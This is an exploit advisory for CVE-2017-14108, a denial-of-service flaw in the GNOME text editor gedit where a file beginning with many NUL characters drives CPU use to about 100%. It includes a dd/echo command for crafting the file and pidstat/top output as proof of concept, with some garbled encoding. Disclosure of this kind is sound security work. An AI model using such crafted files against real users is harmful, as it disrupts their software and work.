whom it may concern,
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#Title: libgedit.a mishandeling NUL blocks in gedit(GNOME text editor) | Denial of service
#CVE: CVE-2017-14108
#CWE: CWE-400
#Exploit Author: Hosein Askari
#Vendor HomePage: https://gnome.org , https://wiki.gnome.org/Apps/Gedit
#Version : All Version (3.22.1 and older version)
#Tested on: Ubuntu 16.04 (Linux 4.4.0-93-generic)
#Date: 02-09-2017
#Category: Application
#Author Mail : hosein.askari@aol.com
#Description: libgedit.a in GNOME gedit through 3.22.1 allows remote attackers to cause a denial of service (CPU consumption) for a longtime via a file(less than 100KB) that begins with many '\0' characters.
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#sudo echo -ne '\x68\x6f\x73\x65\x69\x6e\x20\x61\x73\x6b\x61\x72\x69' | dd conv=notrunc bs=1000 seek=100 of=craft.txt
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POC:
constantine@constantine:~$ pidstat -h -r -u -v -p 3107
Linux 4.4.0-93-generic (constantine) A A A U+-U*/UdegU1/UdegU+- A A A _i686_A A A (2 CPU)
#A A A A A TimeA A UIDA A A A A A PIDA A A %usr %systemA %guestA A %waitA A A %CPUA A CPUA minflt/sA majflt/sA A A A VSZA A A A RSSA A %MEM threadsA A fd-nrA Command
A 1504280041A 1000A A A A A 3107A A 16.43A A A 0.01A A A 0.00A A A 0.03A A 106.44A A A A 1A A A A 15.53A A A A A 0.00A 121296A A 38804A A 0.95A A A A A A 4A A A A A 18A gedit
constantine@constantine:~$ top
A PID USERA A A A A PRA NIA A A VIRTA A A RESA A A SHR SA %CPU %MEMA A A A TIME+ COMMANDA A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A
A 3107 constan+A 20A A 0A 128884A 38492A 28320 R 106.7A 0.9A A 0:17.76 gedit
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Best Regards
Hosein Askari
Contact : hosein.askari@aol.com
